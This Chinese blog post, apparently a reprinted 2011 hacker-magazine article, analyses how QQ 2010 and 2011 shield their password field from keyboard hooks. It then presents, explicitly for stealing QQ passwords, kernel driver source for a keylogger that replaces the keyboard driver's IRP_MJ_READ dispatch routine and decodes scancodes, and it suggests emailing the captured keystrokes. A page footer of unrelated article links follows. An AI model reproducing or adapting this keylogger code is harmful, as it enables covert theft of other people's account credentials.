好久没写博客了,只因为最近一段时间着手学习网络入侵与渗透这块,正好借了一个大学生创业孵化基地的项目,也申请了一个关于“蜜罐”设计的科研立项,准备一起给做了,由于刚刚踏入未知领地,也没什么好说的,让我在这个领域摸黑探索一会再和大家分享我的学习历程。

今天来写一篇博客,也是好久前的了,一直拖着没写,这篇博客的内容也正是我大概一个月前的《黑客防线》的投稿,可能是运气有点好吧,这篇文章拟发《黑客防线》2011年第5期,还没有出来,快了,10号左右吧。另外想说的一句是黒防作为中国比较权威性的安全类杂志,竟然被网络黑客黑了,从今年二月份到现在,官网一直就没有打开过,作为今年的黒防会员,让我们情何以堪啊。。。不过还是可以下到每一期的杂志,这得向客服要了。

闲话说了这么多,不多扯了,直接进入主题,我在这里偷懒就直接把稿件Ctrl+C,Ctrl+V了。

QQ是大家常用的通讯工具之一,所以针对QQ的盗号木马也非常多,所以腾讯也做出了相应的反击,2005年腾讯购买韩国人的技术对QQ的登录对话框的密码输入框采用了驱动程序进行保护,但是因为设计驱动的安装,导致了软硬件不兼容的问题,07年的时候也就放弃了。

目前我们就以QQ2010为例,当我们用WH_ WH_KEYBOARD的钩子来挂钩系统进行键盘记录的时候,我们可以试一下密码输入框中是记录不到任何键盘输入的,但是用WH_KEYBOARD_LL就可以记录到一些键盘输入,但是认真对比就会发现记录的这些输入是错的,这是为什么呢?

经过思考和验证,目前的QQ2010安装目录中并没有驱动,所以也就不可能将密码保护进行到驱动级别,问题还是出在R3下,QQ肯定是利用了某些R3下的比WH_ WH_KEYBOARD更为底层的钩子,或者管理钩子的钩子,有了这个猜测思路就明确了,首先看看QQ安装了哪些钩子吧,我找了一款小工具可以查看卸载钩子,很方便(在附带的文件里)。结果如下图:

我们可以看到QQ安装了两个重要的钩子WH_DEBUG和WHKEYBOARD_LL,原来,WH_DEBUG可以用来管理很多种类型的钩子,有这么多种:

WH_CALLWNDPROC
WH_CALLWNDPROCRET
WH_CBT
WH_DEBUG
WH_JOURNALPLAYBACK
WH_JOURNALRECORD
WH_KEYBOARD
WH_MOUSE
WH_MSGFILTER 
WH_SHELL
WH_SYSMSGFILTER

在这些钩子的钩子过程将要被系统调用的时候,系统总是先执行调试钩子的钩子过程。而MS的这个调试钩子,允许我们决定是否执行这些被管理的钩子。当我们卸载掉WH_DEBUG,WH_ WH_KEYBOARD就能轻松记录下键盘输入,这也就难怪我们安装的WH_KEYBOARD不能到达目的的原因了,至于为什么WHKEYBOARD_LL可以记录到键盘记录呢,很简单因为WH_DEBUG不能管理WHKEYBOARD_LL。

显然QQ对钩子的保护已经了解了,那么再来看看我们记录下来什么键盘输入呢?都是一些不相干的输入,看来QQ对我们的键盘钩子还是有另外的招数防备的,他传递给我们的记录钩子一些假的键盘信息,导致我们钩子记录下来的和我们的键盘输入有很大差异。

到了QQ2011,我们发现在QQ的bin目录下多了两个文件分别是ABL.sys和PBL.sys这两个文件是不是内核文件呢?但是我在用本文的修改分发函数的方法验证的时候,还是可以顺利的截获到键盘记录,实践是检验真理的唯一标准,用16进制文件编辑器查看一下,这两个文件都不是以MZ开头的,也就是说不是驱动文件,那么就只能说有可能是QQ对自己的信息的一种保护把。

说了这么多,那么怎样更为简单的盗取QQ密码呢?无疑转向了驱动截获键盘记录了,在驱动级我们可以不用考虑QQ在R3下用什么复杂严密的方法来保护键盘记录,因为我们的驱动程序比他更加底层,所以在此我们用修改系统驱动对象的分发函数的方法来截获键盘记录,下面我们来看看程序。

首先申明一些函数和全局变量,这里就不多说了。

ULONG gC2pKeyCount=0; //全局变量记录IRP个数 extern POBJECT_TYPE IoDriverObjectType;//声明这个函数 PDRIVER_DISPATCH OldDispatchRead;//原IRP_MJ_READ函数的入口地址

然后我们来写入口函数。当一个请求(IRP)来的时候,说明Windows要从键盘驱动读取一个扫描码值,我们要获得的是按下键的扫描码的值,所以就只能把这个请求发下去在看返回的这个值是多少,于是我们修改IRP的完成函数,使得IRP完成以后调用我们的函数,这个实现起来还是很容易的,只要用我们定义的一个函数地址替换掉原来的额完成函数的地址就可以了。

另外一个问题是,我们的分发函数要实现什么功能呢?记录邮件发送?这个就随大家的意思了,本文为了简便只是做了简单的的打印。打印完之后呢?当然是要调用原来的完成函数来实现他原本的功能了,否则没有IRP的返回,系统很容易就崩溃了。

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath) //入口函数 { PDRIVER_OBJECT kbdDriverObject; UNICODE_STRING uniNtNameString; NTSTATUS status=NULL; NTSTATUS ObReferenceObjectByName(PUNICODE_STRING ObjectName, //这个函数文档里没有,但申明一下就可以直接使用 ULONG Attributes, PACCESS_STATE AccessState, ACCESS_MASK DesiredAccess, POBJECT_TYPE ObjectType, KPROCESSOR_MODE AccessMode, PVOID ParseContext, PVOID *Object); RtlInitUnicodeString(&uniNtNameString,KBD_DRIVER_NAME); //初始化为0 status=ObReferenceObjectByName( //得到并打开设备 &uniNtNameString, OBJ_CASE_INSENSITIVE, NULL, 0, IoDriverObjectType, KernelMode, NULL, &kbdDriverObject); if(!NT_SUCCESS(status)) { DbgPrint("cannot get the kbd object/n"); return STATUS_UNSUCCESSFUL; } else { ULONG i; //PDRIVER_DISPATCH OldDispatchFunctions[IRP_MJ_MAXIMUM_FUNCTION+1]; OldDispatchRead = kbdDriverObject->MajorFunction[IRP_MJ_READ];//保存原IRP_MJ_READ函数的入口地址 InterlockedExchangePointer(&kbdDriverObject->MajorFunction[IRP_MJ_READ],NewDispatchRead);//替换为自定义的新分发函数的地址 ObDereferenceObject(kbdDriverObject); //不要忘记解除调用 } DriverObject->DriverUnload=DriverUnload; return STATUS_SUCCESS; }

然后我们来写我们自己的分发函数,在这个分发函数中,我们要定义一个完成函数,以便请求完成的时候,能够调用我们的完成函数。

NTSTATUS NewDispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP Irp) //新的分发函数 { PIO_STACK_LOCATION irpSp; //以下的内容都是新分发函数的新增内容 irpSp = IoGetCurrentIrpStackLocation(Irp); irpSp->Control = SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR|SL_INVOKE_ON_CANCEL; //保留原来的完成函数,如果有的话 irpSp->Context = irpSp->CompletionRoutine; irpSp->CompletionRoutine = (PIO_COMPLETION_ROUTINE)OnReadCompletion; //这个是完成函数 return OldDispatchRead(pDeviceObject,Irp); //调用原来的分发函数,完成应该有的内容 }

最后我们就要为我们的完成函数写自己的代码了,这里我只做简单的打印,打印出的是读取键盘输入,但要注意的是键盘按下和弹起都有扫描码,打印其中之一就行。

NTSTATUS OnReadCompletion(IN PDRIVER_OBJECT DriverObject, IN PIRP Irp, IN PVOID Context ) //完成函数 { PIO_STACK_LOCATION IrpSp; PUCHAR buf=NULL; IrpSp=IoGetCurrentIrpStackLocation(Irp); if(NT_SUCCESS(Irp->IoStatus.Status)) { buf=Irp->AssociatedIrp.SystemBuffer; MyKeyPrint((UCHAR)buf[2]); //字符打印函数 } if(Irp->PendingReturned) { IoMarkIrpPending(Irp); } return Irp->IoStatus.Status; }

这里要说明的是,由于编辑要我把扫描码转化成字符输出来,这还废了我一些劲,因为在内核态下没有直接可用的函数接口转换扫描码成为ASCII码。于是只能自己动手写这还是挺伤脑经的。这里用了直接定址法将字符放在一个数组中,为了不越界,定义一个大一点的数组。

UCHAR asciiTbl[256]={'0','0','1','2','3','4','5','6','7','8','9','0','0','0','0','0','q','w','e','r','t', 'y','u','i','o','p','0','0','0','0','a','s','d','f','g','h','j','k','l','0','0', '0','0','0','z','x','c','v','b','n','m','0','0','0','0','0','0','0','0','0','0', '0','0','0','0','0','0','0','0','0','0','7','8','9','0','4','5','6','0','1','2', '3','0' };

这里为了简便,我只写出了部分键盘扫描码和ASCII的转换,共有键盘字符键,数字键,小键盘键。并且也没有考虑shift,caps键对字符的影响,其他的的按键转换同理,当检测到有上述两个键输入时,将字符大写就可以。为了节省篇幅,就不多说了。字符转换函数如下:

void _stdcall MyKeyPrint(UCHAR sch) //字符打印函数 { if(gC2pKeyCount%2==1) { UCHAR ch=0; int a=0; a=(int)sch; ch=asciiTbl[a]; DbgPrint("%C /n",ch); } }

效果如下图:

至于驱动文件的安装,这里就不多说了,到此也就结束了。这里存在一个稳定性的小问题,在新分发函数替换过程中,一部分分发函数已经被替换,此时刚好有连续的几个IRP需要处理中间具有相关性,这种情况下可能破坏他们的关联,但是这种问题的几率也是相当小,是小概率事件,不予考虑。经本人测试可用,环境为Windows XP SP2。

浅析QQ密码保护原理相关推荐

  1. 数据结构 — 浅析红黑树原理以及实现

    浅析红黑树原理以及实现 我们在上一篇博客认识到了平衡二叉树(AVLTree),了解到平衡二叉树的性质,其实平衡二叉树最大的作用就是查找,AVL树的查找.插入 和删除在平均 和 最坏情况下都是O(log ...

  2. QQ通信原理--转载

    QQ通信原理概述 QQ通信原理概述一.登陆. 不管UDP还是TCP,最终登陆成功之后,QQ都会有一个TCP连接来保持在线状态.这个TCP连接的远程端口一般是80,采用UDP方式登陆的时候,端口是800 ...

  3. 申请QQ密码保护,保护号码安全!(转)

    申请QQ密码保护,保护号码安全!(转) 自从本站开办以来,不断有网友来信大量重复询问同一个问题:QQ的密码问题.有的是密码被盗,有的是密码忘记了,因为站长有限的精力,不可能一一作答,以后同样的问题我将 ...

  4. [分享]浅析QQ炫舞6开挂

    [原创]浅析QQ炫舞6开挂 转载:https://bbs.pediy.com/thread-116205.htm 偶去年在网上看到有一些"大牛"代练QQ炫舞,还上传了视频,个人感觉 ...

  5. 《浅析QQ炫舞6开挂》 研究了一晚上

    最近一直卡在用win32汇编hook NtOpenProcess函数这 主要是语言掌握的不够好 今天终于找到了个可能能解决目前问题的文章 与君共享 http://bbs.pediy.com/showt ...

  6. 探究网页中检测QQ登录原理

    探究网页中检测QQ登录原理 在登录QQ邮箱时会自动检测QQ是否已经登录(阿里旺旺也有这个功能了,不过经常不好用),今天突然发觉,这也是个小小的技术点,今天就来探究一下 PS:之前也有人分析过此问题,如 ...

  7. QQ密码保护与反保护浅谈

    QQ密码保护与反保护浅谈 Leen  记得刚学vc的时候,了解了一点hook,就感觉无所不能,这偷个扣扣的小密码不是轻而易举    结果发现是异想天开.. 先说说一种常用的预防键盘钩子钩去密码的方法, ...

  8. Win32探索QQ隐藏原理

    本来是一篇复制下来的文章,现在找不到作者了请原谅. 探索QQ隐藏原理 一.[观察] 模仿前最重要的一步就是观察,经过半天对QQ的摆弄和摸索,总结出了以下一些特点: 1.窗口开始粘附时,检测的是鼠标坐标 ...

  9. 猜测腾讯QQ的密码保护原理

    我的多名QQ好友以及QQ群中的多名群友,都出现过QQ账号被盗用却密码没有被修改的情况,然后只要自己再改下密码,也就在危机之下保住了自己的QQ账号.这算是比较幸运的事情了,但是于此背后我尝试思考这是为什 ...

最新文章

  1. 倍福TwinCAT(贝福Beckhoff)基础教程5.1 TwinCAT-2 运行可执行文件
  2. python0o12_2020年日期表-python实现
  3. C#读取Excel 2003/2007的文件(注意连接字符串)
  4. 20165223《Java程序设计》第八周Java学习总结
  5. 【C语言进阶深度学习记录】三十一 数组作为函数参数时退化为指针
  6. java异常应用_Java异常处理机制 —— 深入理解与开发应用
  7. mysql 以及mysql可视化工具下载安装地址
  8. 谈表达式树的缓存(6):五种缓存方式的性能比较
  9. rsync定时同步备份
  10. OFFICE2007 自编宏使用 以及 文件未找到 VBA6.DLL 错误处理
  11. 基于单片机的老人防摔GSM报警
  12. ViewStub用法
  13. PHP开发之字符串长度以及字符串子串截取相关函数总结
  14. C语言在控制台上实现鼠标操作的方法
  15. BCG 全局主题样式
  16. 千万级用户产品更名为“亿图脑图 MindMaster”背后:脑图软件市场高速增长
  17. 轻轻轻轻轻轻轻轻轻轻轻轻
  18. linux获取sata端口,配置 SATA 端口时,可能无法使用 Linux* 5.1 检测到 SATA DVD-ROM
  19. bancor算法的全面讲解
  20. Java读取Excel文件数据并将记录写入到新的文件中--POI技术实现

热门文章

  1. linux uvc摄像头操作,Linux uvc摄像头驱动初探
  2. 中国企业差旅费用管理解决方案行业市场供需与战略研究报告
  3. InnoDB和MyISAM存储引擎
  4. 集成讯飞SDK,实现离线命令词、离线语音合成、离线唤醒,语音在线/离线听写
  5. HybridAPP框架MUI(跨平台移动端应用开发)
  6. python文献检索_那个发了好几篇SCI的师姐,教你如何搞定文献检索和科研图片!...
  7. 【Keil】Keil Cx51 编译器中文用户手册介绍
  8. 32位全彩色和24位全彩色有啥区别
  9. [转]Go程序GC优化经验分享
  10. Google nexus 6p android 8.0——android 6.0 两部曲